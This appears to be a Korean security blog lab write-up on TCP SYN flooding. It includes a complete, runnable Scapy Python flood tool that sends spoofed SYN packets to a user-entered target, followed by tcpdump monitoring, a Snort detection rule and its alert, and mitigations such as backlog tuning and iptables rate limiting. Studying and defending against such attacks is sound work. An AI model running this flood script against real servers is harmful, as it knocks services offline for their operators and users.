티스토리 뷰
TCP SYN Flooding
공격자가 여러 Syn 패킷을 날려 서버를 마비 시키는 공격
클라이언트가 서버와 연결을 시도할 때 Syn 패킷을 전송하게 된다. 이때 서버는 Syn + Ack 패킷 다시 전송하면서 클라이언트와 연결을 위한 메모리 공간을 할당(큐 생성)한다. 하지만 클라이언트가 Ack 신호를 보내주지 않고 Syn 만 전송하게 되면 서버는 메모리 큐가 포화되어 서버 장애가 발생하게된다. 또한 SYN Backlog 큐가 늘어나 다른 클라이언트의 요청을 처리할 수 없는 상태가 된다.
Synflood Python 코드
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print ("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
print(send)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print ("#############################")
print ("# Welcome to SYN Flood Tool #")
print ("#############################")
dstIP = input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()
Tcpdump 로 패킷 모니터링
$ tcpdump -nn -i enp0s3 tcp port 24 -w enp0s3.cap |
아래 그림의 로그 중 Flags [S] 라고 적혀져 있는것이 Syn 패킷을 날린 것이고 24번 포트는 현재 닫혀 있으므로 Rst 패킷을 날려 Flags [R] 로그가 발생하였다. (포트가 정상적으로 열려있으면 Ack+Syn 패킷이 리턴)
Snort 패킷 탐지 및 Alert
1. local rule
alert tcp any any -> any 24 (msg:"SYN ATTACK"; flags:S; threshold:type both, track by_dst, count 10, seconds 20; sid:1000001;) |
2. Alert 내용
[**] [1:1000001:0] SYN ATTACK [**] [Priority: 0] 12/16-09:01:08.119677 22.191.144.45:6336 -> 192.168.0.26:24 TCP TTL:64 TOS:0x0 ID:1 IpLen:20 DgmLen:40 ******S* Seq: 0x1639 Ack: 0x0 Win: 0x1013 TcpLen: 20 |
20초 동안 10번의 Syn 패킷 수신이 있을 때 로그가 발생하였다. 이러한 alert를 활용하여 탐지 대시보드 또는 리눅스 shell, python 을 활용하여 대응하는 방법은 다음에 시도해봐야겠다.
대응방법:
1) tcp_max_backqueue 증가, sysctl -w net.ipv4.tcp_max_syn_backlog=1024
2) 임계치를 조정하여 TCP 세션연결을 차단한다. iptables -A INPUT -p TCP --dport 80 --syn -m limit --limit 10/second -j ACCEPT
3) 라우터 Watch Mode -> 특정시간동안 established가 안되면 연결 끊기
4) 라우터 intercept Mode -> SYN패킷을 서버로 전송하지 않고 라우터에서 가로채어 대신 연결
'Security > 네트워크' 카테고리의 다른 글
[네트워크공격-Flooding] TCP SYN Flooding 실습과 대응 (0) | 2022.01.20 |
---|---|
[Linux] Snort를 활용한 SSH brute attack 탐지 (0) | 2021.01.21 |
[CentOS7] IDS 환경을 위한 Snort 구축 및 테스트 (2) | 2021.01.19 |
- Total
- Today
- Yesterday
- synflooding
- 보안기사
- FastAPI
- 정보보안기사
- 카카오페이
- 시간초과
- 정보보안
- Python
- 다이나믹프로그래밍
- 자료구조
- 분산시스템
- 우선순위큐
- lightsail
- 코딩테스트
- springboot
- java
- 프로그래머스
- t-test
- Ai
- linux
- 그리디
- t검정
- llm
- 딥러닝
- LangChain
- 파이썬
- 리눅스
- 백준
- 보안
- 카카오페이면접후기
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |